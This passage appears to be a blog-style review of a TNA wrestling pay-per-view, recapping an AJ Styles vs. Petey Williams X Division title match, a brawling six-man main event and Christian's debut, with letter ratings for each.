We recap the X Title match which came about from Williams “winning” Ultimate X at the last PPV and then winning another one on Impact to make up for the botched ending last month.

AJ says he’s never seen eye to eye with Daniels but he respects him. Joe broke the unwritten X Division Code and AJ will deal with him. Oh and he’ll beat Petey.

X-Division Title: AJ Styles vs. Petey Williams

Feeling out process to start with AJ hooking a weird leg lock rollup for two. Styles does the drop down into the dropkick spot which is always good. A pair of kneedrops gets no cover. Petey countered the Clash attempt and gets to the apron. AJ knocks him off and hits a flip dive but lands on the barricade and bounces into the crowd. A-1 comes out and offers a distraction which goes nowhere.

Back to the apron and Petey tries a German off the apron but AJ hangs on to avoid a nasty case of death. And never mind as it actually works and AJ’s back goes into the barricade. FERAKING OW MAN!!! A-1 gets thrown out. Back in the ring a regular suplex gets two and it’s off to a bodyscissors. Styles fights out of that pretty quickly so Williams fires off some kicks to the ribs.

Petey misses a shoulder in the corner but as AJ tries a springboard, Petey drops him onto the ropes. A SWEET rana to the floor works on the back even more. Back inside now and it’s the Tree of Woe and O Canada. We reach a point that is so boring that we get a replay from the German off the apron from earlier in the match. Back to live action and AJ hits the Pele. He goes after the ribs with a series of gutbusters and now it’s Petey in trouble.

AJ’s flurry results in a Styles Clash attempt but Petey escapes and rolls him up for two. Styles comes back with a neckbreaker for the same. They trade rollups and chops and the Clash is countered again, this time into a DDT for two. The Destroyer is countered and it’s off to the Sharpshooter instead. As Styles goes for the rope, Petey hooks his arm to block the rope break. That was creative.

AJ gets there anyway and heads to the apron for the springboard forearm. Petey gets up first and heads to the corner but AJ enziguris him down. Petey tries a super Destroyer but AJ knocks him down. Styles sees Joe with a towel with Daniels’ blood on it and Williams crotches him. That gets him nowhere though as AJ hits the Clash from the middle rope for the pin to retain.

Rating: B-. Pretty good match here but it’s not AJ’s best stuff. It was very clear that AJ was going after Joe next so it was hard to believe that Petey was much of a threat to the belt here. Still though, this was good and the idea of who could hit their finisher first was a nice story for it. Good match but not great.

We recap the main event. Basically it’s Planet Jarrett vs. the top face tag team and the top face heavyweight. All I can say is thank goodness this was Rhyno instead of Nash. I don’t get why they had to take the title off of him so fast though. Let him keep it for a few months. Jarrett would beat him in a singles match at Turning Point anyway. This gets the music video treatment which isn’t bad.

The Dudleys and Rhyno say they’re ready. Why does that take a few minutes to get through?

Team 3D/Rhyno vs. America’s Most Wanted/Jeff Jarrett

Nothing on the line here, which is the kind of main event that I can’t stand. Team 3D comes out last instead of the guy that was world champion two weeks ago. Jarrett and AMW run into the crowd in different spots, apparently wanting to start out there. The Dudleys say cool and the bell rings as the ECW guys head into the crowd. It’s one of those brawls where you can’t see a thing.

Rhyno is beating on Jarrett near some empty seats and Ray throws Tenay’s chair at I think Storm. D-Von rams Harris into the Spanish Announce Table as Jarrett and Rhyno go WAY up high. A low blow knocks Rhyno down some stairs and Ray misses a chair shot which hits the post instead. We’re over six minutes into a fifteen minute match and they haven’t been in the ring together yet.

Storm misses a beer bottle shot and we’re FINALLY getting back to ringside together. D-Von hits Harris with the bell and Ray uses a cheese grater on Storm IN THE RING. Harris is busted now. Here’s a table but Harris moves it to keep Storm from going through it. The referee is totally cool with all this stuff. Ray takes a cheese grater to the balls. Rhyno is on the stage and hits Jarrett with a garbage can.

The table gets moved again to keep Harris safe and there’s a LOUD chair shot that we only hear. Rhyno drags a table up to the stage as we’re ten minutes into this match. Rhyno throws the table upside down and then piledrives Jarrett on the stage rather than on the table. The table gets set up in front of the tunnel and after he hits Storm, he charges….right into the superkick from Storm.

I think we have a normal match now with Storm vs. D-Von. It only took them 12 minutes. Catatonic is countered into a reverse inverted DDT for two. Storm comes in (no tag, the villain) for a reverse tornado DDT. Bubba Bomb gets two on Storm but the one to Jarrett is blocked with a low blow. Stroke gets two. Rhyno comes in from nowhere to Gore Jarrett but Harris pulls the referee out. AMW crotches Rhyno on the post and hits a double spinebuster on Ray. Hart Attack gets two on D-Von. Ray breaks up a Death Sentence through the table and a 3D pins Storm.

Rating: C. I have no idea what to call this. They were in the ring about 2 minutes out of nearly 16 so you can barely call this a match. As a fight it wasn’t bad, but at the end of the day, what does this mean? Team 3D wouldn’t get the titles until April of 2007 so it didn’t mean much for them. This was a throwaway main event but it certainly wasn’t boring.

Jarrett hits Rhyno with a guitar post match so the Dudleys set up a table. After getting a fresh one, Gail tries to hit Bubba low. Bubba blocks that and sets to powerbomb Gail through Jarrett through the table. Team Canada comes in for the save and puts D-Von on the table. Jarrett goes up top but Christian comes in with a chair.

He unzips his jacket to reveal a Team Canada shirt. D’Amore hugs him and gets pulled into an Unprettier. Jarrett gets slammed off the top and takes a 3D through the table (with the Dudleys doing a double flapjack and Christian doing the cutter for some reason). Christian reveals a TNA shirt to end the show.

Overall Rating: C-. This wasn’t a bad show at all but it wasn’t that memorable. Christian debuting is by far and away the biggest thing here, but other than that, nothing really happens here. No titles changed hands, partially because only one was defended. The main event should have just been Jarrett vs. Rhyno II and let Jeff get the belt back here. It’s not a bad show, but it’s not one that you would ever need to see again.

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